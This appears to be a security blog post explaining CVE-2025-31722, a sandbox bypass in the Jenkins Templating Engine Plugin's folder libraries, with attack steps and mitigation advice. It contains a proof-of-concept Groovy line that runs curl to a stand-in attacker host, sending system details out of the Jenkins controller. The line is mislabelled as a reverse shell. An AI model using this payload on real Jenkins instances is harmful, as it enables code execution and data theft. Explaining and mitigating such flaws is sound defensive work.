CVE-2025-31722 is a critical vulnerability discovered in the Jenkins Templating Engine Plugin versions 2.5.3 and earlier. If you manage Jenkins or work with DevOps pipelines, reading this could save your systems from a serious security breach. Let’s break down what happened, how the exploit works, and what you can do.

What is the Jenkins Templating Engine Plugin?

Jenkins is a widely adopted automation server used mainly for building and deploying software projects. The Templating Engine Plugin lets teams create reusable configuration 'libraries' to streamline Jenkins job management.

The Core Issue

The vulnerability in CVE-2025-31722 comes from the way the plugin handles custom libraries that live inside folders. Normally, Jenkins uses a "sandbox" to control what code third parties (or possibly malicious users) can execute—restricting them to safe methods only. However, for libraries defined in folders, the sandbox doesn’t work. That means attackers can upload and execute *any* code with just the Item/Configure permission.

The Danger

Attackers don’t need admin access. With only Item/Configure rights (often granted to trusted users or teams), they can escalate their access and run arbitrary code on the main Jenkins server—called the controller JVM. That’s a full takeover.

Exploit Overview

Let’s see how an attack could happen, step-by-step.

### 1. Gain Item/Configure Permission

An attacker gets enough permission to configure a folder in Jenkins. They create or modify a folder and add a custom library to it.

2. Add Malicious Library

Attacker adds code to the library that does something bad (for example, write a file, connect to a remote server, or add a new admin user).

3. Code Runs WITHOUT Sandbox

When Jenkins loads the library, it doesn't use the sandbox, so the attacker's code runs with full power.

Example Exploit: Reverse Shell (PoC)

Here's an example (do not use this on production!) showing how an attacker could use the vulnerability to execute a shell command. The following code could be added to a library script in a folder:

// Malicious template.groovy library code
def exec = "curl http://attacker.com/supersecret?$(uname -a)".execute()
exec.waitFor()

This code runs a shell command on the Jenkins controller and sends system details to the attacker.

1. Update the Plugin

Upgrade your Jenkins Templating Engine Plugin to the latest version (after 2.5.3) where this issue is patched.

- Jenkins Plugin Index - Templating Engine
- Jenkins Security Advisory

2. Review Permissions

Make sure only _trusted_ users have Item/Configure access.

3. Scan for Malicious Libraries

Check all folder libraries for unrecognized or suspicious code.

4. Monitor Jenkins Logs

Unexpected or strange executions in logs could mean compromise via this or similar issues.

Real-World Impact

If left unpatched, an internal user could take over your Jenkins, steal secrets, or attack your build environment. The vulnerability is trivial to use and requires only common permissions—making it very dangerous.

References

- Jenkins Security Advisory for CVE-2025-31722
- Official Plugin Documentation
- CVE Details - CVE-2025-31722

Conclusion

CVE-2025-31722 shows how missing security controls on "extra" features like folder libraries can undermine even secure-looking setups. Double-check your Jenkins, update as soon as possible, and keep your permissions tight.

If you found this helpful, consider sharing with your DevOps team and checking your own plugins now.

Timeline

Published on: 04/02/2025 15:15:59 UTC
Last modified on: 04/29/2025 13:52:56 UTC